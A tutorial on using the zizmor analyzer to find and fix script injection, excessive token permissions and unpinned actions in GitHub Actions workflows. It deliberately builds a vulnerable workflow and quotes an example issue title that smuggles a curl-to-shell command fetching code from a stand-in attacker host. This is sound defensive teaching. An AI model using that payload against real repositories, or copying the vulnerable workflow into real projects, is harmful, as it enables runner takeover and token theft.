Skip to content
Security Intermediate Tutorial

Harden Your GitHub Actions Workflows with Zizmor

Catch script injection, excessive permissions, and unpinned actions in your workflow YAML before attackers do.

Ji-ho Choi
Ji-ho Choi
Security & Cloud Editor · Sep 14, 2026 · 5 min read
Harden Your GitHub Actions Workflows with Zizmor

What you'll learn

You'll run zizmor, a static analyzer for GitHub Actions, against a workflow with three real vulnerability classes: script injection, excessive token permissions, and unpinned actions. Then you'll fix each finding and wire zizmor into CI so regressions get caught on every pull request.

Prerequisites

  • zizmor 1.30.1 (current stable, verified for this tutorial)
  • A machine with Homebrew, uv, pipx, or cargo (macOS or Linux; Windows works via the same package managers)
  • Git, and a repo with at least one workflow under .github/workflows/ if you want to scan your own code instead of the demo file below
  • Optional: a GitHub account and the gh CLI for online audits and remote repo scanning

1. Install zizmor

Pick one:

brew install zizmor
# or
uv tool install zizmor
# or
pipx install zizmor
# or
cargo install --locked zizmor

Confirm the version:

zizmor --version
zizmor 1.30.1

2. Create a deliberately vulnerable workflow

Use a scratch repo so you can compare before and after. This workflow greets new issue reporters, and it makes three mistakes that show up constantly in real repos:

mkdir -p zizmor-demo/.github/workflows && cd zizmor-demo && git init

Save this as .github/workflows/greet.yml:

name: Greet contributors

on:
  issues:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v5

      - name: Log the new issue
        run: |
          echo "New issue: ${{ github.event.issue.title }}"
          echo "Opened by: ${{ github.event.issue.user.login }}"

3. Run the audit

zizmor --offline .

--offline skips audits that need the GitHub API, so nothing leaves your machine. The scary finding looks like this:

error[template-injection]: code injection via template expansion
  --> ./.github/workflows/greet.yml:15:32
   |
14 |         run: |
   |         --- this run block
15 |           echo "New issue: ${{ github.event.issue.title }}"
   |                                ^^^^^^^^^^^^^^^^^^^^^^^^ may expand into attacker-controllable code
   |
   = note: audit confidence → High

The summary line reports everything found:

8 findings (3 suppressed, 3 unsafe fixes): 0 informational, 0 low, 2 medium, 3 high

Five findings across four audits. The three that match our planted bugs:

  • template-injection (high): ${{ github.event.issue.title }} expands before the shell runs. Anyone who opens an issue titled "; curl https://evil.example/x | sh; echo " gets their payload pasted straight into your runner's script.
  • excessive-permissions (medium): no permissions: block, so the job inherits the default GITHUB_TOKEN grants. If the injection above lands, the attacker gets a live token with those grants.
  • unpinned-uses (high): actions/checkout@v5 is a mutable tag. Whoever controls that tag controls your build, which is exactly how the 2025 tj-actions/changed-files compromise spread: the attacker retagged existing releases to point at malicious code. zizmor's default policy requires hash pinning.

You also get artipacked (low confidence) for free: actions/checkout persists credentials into .git/config by default, where later steps or artifacts can leak them.

The "3 suppressed" are pedantic-tier findings hidden by the default persona. Re-run with --persona=pedantic to see them.

4. Fix all three classes

Replace greet.yml with the hardened version:

name: Greet contributors

on:
  issues:
    types: [opened]

permissions: {}

jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false

      - name: Log the new issue
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
          ISSUE_AUTHOR: ${{ github.event.issue.user.login }}
        run: |
          echo "New issue: $ISSUE_TITLE"
          echo "Opened by: $ISSUE_AUTHOR"

What changed and why:

  1. Injection: attacker-controlled values now pass through env:. The shell reads $ISSUE_TITLE as data at runtime instead of having the raw title spliced into the script text.
  2. Permissions: permissions: {} at the workflow level drops every GITHUB_TOKEN grant. Add back only what a specific job needs (this one needs nothing).
  3. Pinning: the action is pinned to the full commit SHA for actions/checkout v7.0.1, with the tag kept as a comment so humans and Dependabot can still read it.
  4. persist-credentials: false stops checkout from writing the token to disk.

zizmor can apply some of these itself: zizmor --fix . applies safe fixes in place, and --fix=all includes ones it marks unsafe. Review the diff either way.

5. Add zizmor to CI

Catch regressions on every push with the official zizmor-action. Save as .github/workflows/zizmor.yml:

name: zizmor

on:
  push:
    branches: ["main"]
  pull_request:
    branches: ["**"]

permissions: {}

jobs:
  zizmor:
    runs-on: ubuntu-latest
    permissions:
      security-events: write
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false

      - uses: zizmorcore/zizmor-action@cc914d7f3750a2d13d75c7f184a1060aa0e9d482 # v0.6.4

By default the action uploads SARIF results to GitHub code scanning, which needs security-events: write (plus contents: read and actions: read on private repos). No Advanced Security on your plan? Add with: { advanced-security: false } and findings print as annotations instead.

Verify it works

Re-run the audit locally:

zizmor --offline .
echo $?

Expected output:

 INFO zizmor: 🌈 zizmor v1.30.1
 INFO audit: zizmor: 🌈 completed ./.github/workflows/greet.yml
No findings to report. Good job! (2 suppressed)
0

Exit code 0 means clean. Findings map to exit codes 11 through 14 by highest severity (the original run exits 14, for "high"), which is what makes zizmor CI-friendly. In GitHub, check the Actions tab for a green zizmor run, and Security → Code scanning for uploaded results.

Troubleshooting

error: no inputs collected (exit code 3). You pointed zizmor at a path with no workflows, actions, Dependabot, or pre-commit files, or .gitignore rules excluded them all. Point it at the repo root, and use --collect=all if the files are gitignored.

error: can't fetch remote repository: <owner>/<repo> with help: set a GitHub token with --gh-token or GH_TOKEN. Scanning a remote slug like zizmor pypa/sampleproject requires API access. Run zizmor --gh-token $(gh auth token) pypa/sampleproject, or export GH_TOKEN.

unpinned-uses still fires on actions/checkout@v7. Tags aren't hashes; the default blanket policy wants full commit SHAs for everything. Pin with the SHA (gh api repos/actions/checkout/git/ref/tags/v7.0.1 --jq .object.sha), or relax the policy per-source in .github/zizmor.yml.

A finding is a false positive for your setup. Ignore it in config rather than turning the audit off:

rules:
  template-injection:
    ignore:
      - greet.yml:15

Put that in .github/zizmor.yml; the summary line then reports it as ignored.

Next steps

Read the audit rules reference for the full catalog, including dangerous-triggers (flags pull_request_target misuse, the other big injection vector) and secrets-inherit. Try --persona=auditor for maximum paranoia, and --format=sarif or --format=github for other pipelines. zizmor also audits Dependabot configs, composite actions, and pre-commit setups; run it across your whole org with remote slugs once you've got a token wired up.

Sources & further reading

  1. Usage - zizmor — docs.zizmor.sh
  2. Audit Rules - zizmor — docs.zizmor.sh
  3. Installation - zizmor — docs.zizmor.sh
  4. Configuration - zizmor — docs.zizmor.sh
  5. zizmor-action: Run zizmor from GitHub Actions — github.com
  6. zizmor v1.30.1 release — github.com
Ji-ho Choi
Written by
Ji-ho Choi · Security & Cloud Editor

Ji-ho covers the increasingly tangled overlap between cloud architecture and security, drawing on a background as a penetration tester to keep his reporting grounded in real-world attack paths. He never lets a vendor claim go unquestioned and insists that every buzzword come with a proof of concept.

Discussion 1

Join the discussion

Sign in or create an account to comment and vote.

Hal Mercer @greybeard_unix · 43 minutes ago

we did this with custom shell scripts and perl regexes in 2008 because, well, we had to. glad to see someone packaged it properly—unpinned actions especially are the new version of 'shipping with default credentials.' the fact that this catches injection vectors in the workflow yaml itself (not just runtime) is the useful part.

Related Reading